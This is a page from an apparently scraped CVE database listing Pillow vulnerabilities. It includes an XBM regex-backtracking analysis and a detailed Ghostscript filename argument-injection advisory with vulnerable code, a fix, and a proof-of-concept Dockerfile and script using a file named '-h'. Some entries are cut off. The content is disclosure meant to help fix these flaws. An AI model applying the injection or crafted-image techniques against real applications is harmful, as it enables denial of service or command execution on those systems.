``` and the only call site, `src/PIL/XbmImagePlugin.py:58`: ```python def _open(self) -> None: … m = xbm_head.match(self.fp.read(512)) if not m: msg = "not a XBM file" raise SyntaxError(msg) ``` For a well-formed header (`#define im_width 8\n…static char im_bits[] = {`) each `[ \t]+` eats the single space, `.*`/`[^_]*` eat the identifier prefix, and `[\000-\377]*_bits\[]` finds the literal on its first backward scan, so the match is linear. The crafted header diverges at every one of those points: - `[ \t]+.*_width` and `[ \t]+.*_height`: the run of k spaces after `#define` can be split between `[ \t]+` and `.*` in k ways, all leading to the same continuation. Factor k each. (The choice of `\r` terminators is incidental: t | CVE Database V5 | ||
| Critical | 9.2 | EPSS 1.1% | CVE-2026-112900Pillow · OS Command Injection Critical9.2EPSS 1.1%CVE Database V5CVE-2026-112900 ### Summary `PIL.EpsImagePlugin.Ghostscript()` builds the Ghostscript command line using the input file path (`fp.name`) **without sanitization**, placing it at `-f <infile>`. A filename beginning with `-` is interpreted by Ghostscript as an option, giving command-line argument injection; chainable to RCE (see Impact). Reproduces with Pillow's default invocation (with `-dSAFER` enabled). ### Details _Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer._ #### Type CWE-88 (Argument Injection) (→ CWE-78 (OS Command Injection) optionally, with attacker controlled text file) #### Vulnerable Codes ```python infile_temp = None if hasattr(fp, "name") and os.path.exists(fp.name): infile = fp.name # user-controlled path used as-is, without validation else: in_fd, infile_temp = tempfile.mkstemp() os.close(in_fd) infile = infile_temp # ... (copy fp into a temporary file) # Build Ghostscript command command = [ gs_binary, "-q", f"-g{width:d}x{height:d}", f"-r{res_x:f}x{res_y:f}", "-dBATCH", "-dNOPAUSE", "-dSAFER", # default sandbox — does NOT stop this injection f"-sDEVICE={device}", f"-sOutputFile={outfile}", "-c", f"{-bbox[0]} {-bbox[1]} translate", "-f", infile, # injected here: inserted into argv with no check for # option prefixes (-, --) or Ghostscript's @-file token # => argument injection (CWE-88) "-c", "showpage", ] # ... subprocess.check_call(command, startupinfo=startupinfo) # spawns Ghostscript ``` #### Root cause. When rendering an EPS image, PIL.EpsImagePlugin.Ghostscript() constructs the Ghostscript command line using the input file path (fp.name) and places it directly at the -f <infile> position of the argument list. This path is user-controllable, yet Pillow performs no validation or neutralization of tokens that Ghostscript treats specially during command-line argument parsing — in particular a leading - or -- (which Ghostscript interprets as an option rather than a filename) and a leading @ (Ghostscript's argument-file syntax, which causes it to read additional command-line arguments from the named file). Because the filename is neither normalized (e.g., forced to an absolute path or prefixed with ./) nor checked against these prefixes before being handed to the subprocess, an attacker who controls the filename passed to Image.open() can inject arbitrary Ghostscript command-line arguments. This is a classic argument-injection flaw (CWE-88), and it is not mitigated by Pillow's default -dSAFER setting. #### Affected - Pillow: tested on 12.3.0 (latest); vulnerable code is long-standing and appears to affect all current versions (main included). - Component: `src/PIL/EpsImagePlugin.py`, `Ghostscript()` — `infile = fp.name`, and the command list entry `"-f", infile`. #### Suggested fix Normalize the filename to an absolute path before it is passed to Ghostscript, so it can never be parsed as an option (`-`/`--`) or as an argument-file token (`@`): ```python if hasattr(fp, "name") and os.path.exists(fp.name): infile = os.path.abspath(fp.name) # was: infile = fp.name ``` `os.path.abspath()` guarantees the path starts with a path separator (or a drive letter on Windows), so a leading `-` or `@` can no longer reach Ghostscript's argument parser. The `else` branch already builds a safe `tempfile.mkstemp()` path and needs no change. ### PoC dockerfile, Default run shows the argument-injection demo (poc.py); for the RCE PoC run python3 poc-rce.py. ``` FROM ubuntu:24.04 RUN apt update RUN apt install -y --no-install-recommends python3 python3-venv ghostscript ca-certificates RUN rm -rf /var/lib/apt/lists/* RUN python3 -m venv /venv && /venv/bin/pip install --upgrade pip Pillow==12.3.0 ENV PATH=/venv/bin:$PATH WORKDIR /poc COPY poc.py . COPY poc-rce.py . COPY arg . CMD ["python3", "poc.py"] ``` poc.py ``` import os from PIL import Image ############################################################################################ # Attacker controlled file ############################################################################################ EPS = b"%!PS-Adobe-3.0 EPSF-3.0\n%%BoundingBox: 0 0 100 100\n%%EndComments\nshowpage\n" name = "-h" with open(name, "wb") as f: f.write(EPS) ############################################################################################ print(f"[*] Pillow opens a file whose name is {name!r}") im = Image.open(name) print(f"[*] call `load()`; this paths calls `gs` command with '-f {name}'") try: im.load() except Exception as e: print(f"[*] load() raised: {type(e).__name__}: {e}") print("CWE-88: argument injection; Pillow code doesn't validate argument name") print(" This poc.py shows the vulnerability clearly.") print(" | CVE Database V5 | ||
| Medium | 6.9 | EPSS 0.4% | CVE-2026-112898Pillow · Use of Uninitialized Variable Medium6.9EPSS 0.4%CVE Database V5CVE-2026-112898 CVE-2026-112898 is a use of uninitialized variable vulnerability in the python-pillow Pillow library affecting versions from 9.1.0 up to but not including 13.0.0. It occurs in the Image.quantize() function when called with an empty palette, causing 512 bytes of uninitialized stack memory to be leaked in the output image pixels. This memory disclosure can reveal sensitive information such as stack, heap, libc, libpython, and Pillow module addresses, as well as stack-protector canaries. The issue arises because the palette cache update function copies uninitialized stack data when the palette size is zero. The vulnerability does not cause memory corruption or crashes and leaves no log entries. A fix was introduced in version 13.0.0. | CVE Database V5 | ||
| High | 8.7 | EPSS 0.5% | CVE-2026-112894Pillow · Inefficient Algorithmic Complexity High8.7EPSS 0.5%CVE Database V5CVE-2026-112894 CVE-2026-112894 is a high-severity vulnerability in the python-pillow Pillow library affecting versions from 5.1.0 up to but not including 13.0.0. It causes a quadratic-time denial-of-service (DoS) when saving multi-frame images as multi-page PDFs due to inefficient algorithmic complexity in the PDF writer's object ID reservation process. This inefficiency leads to excessive CPU usage proportional to the square of the frame count, allowing an attacker to tie up system resources for extended periods with crafted files. The issue was fixed in version 13.0.0. | CVE Database V5 | ||
| High | 8.2 | EPSS 0.4% | CVE-2026-112893Pillow · Use of Uninitialized Variable High8.2EPSS 0.4%CVE Database V5CVE-2026-112893 CVE-2026-112893 is a use of uninitialized variable vulnerability in the python-pillow Pillow library affecting versions 10.0.0 up to but not including 13.0.0. The flaw occurs when drawing text with a non-zero stroke width using fonts loaded from untrusted bytes, leading to a latent memory-safety defect due to an uninitialized glyph pointer. This can cause invalid or double free operations, potentially crashing the application. The issue is fixed in Pillow version 13.0.0. | CVE Database V5 | ||
| High | 8.7 | EPSS 0.4% | CVE-2026-112892Pillow · Data Amplification High8.7EPSS 0.4%CVE Database V5CVE-2026-112892 Pillow is a Python imaging library. From 4.1.0 until 13.0.0, Pillow's MSP RLE decoder can expand a small file into an unbounded in-memory buffer. The decoder writes run-length output to BytesIO without limiting expansion to the declared image size. An attacker can supply a crafted MSP image to an application that loads its pixels. This can exhaust memory and deny service even when the declared pixel count passes the decompression-bomb check. This issue is fixed in version 13.0.0. | CVE Database V5 | ||
| Medium | 6.9 | EPSS 0.5% | CVE-2026-112891Pillow · Inefficient Algorithmic Complexity Medium6.9EPSS 0.5%CVE Database V5CVE-2026-112891 CVE-2026-112891 is a vulnerability in the python-pillow Pillow library versions 9.2.0 up to but not including 13.0.0. It involves inefficient algorithmic complexity in handling GIF images with long comments, causing repeated copying of comment portions during saving. This can lead to CPU resource exhaustion and a denial of service if crafted images are processed automatically by a network service. The issue is fixed in version 13.0.0. | CVE Database V5 |
Page 7 of 83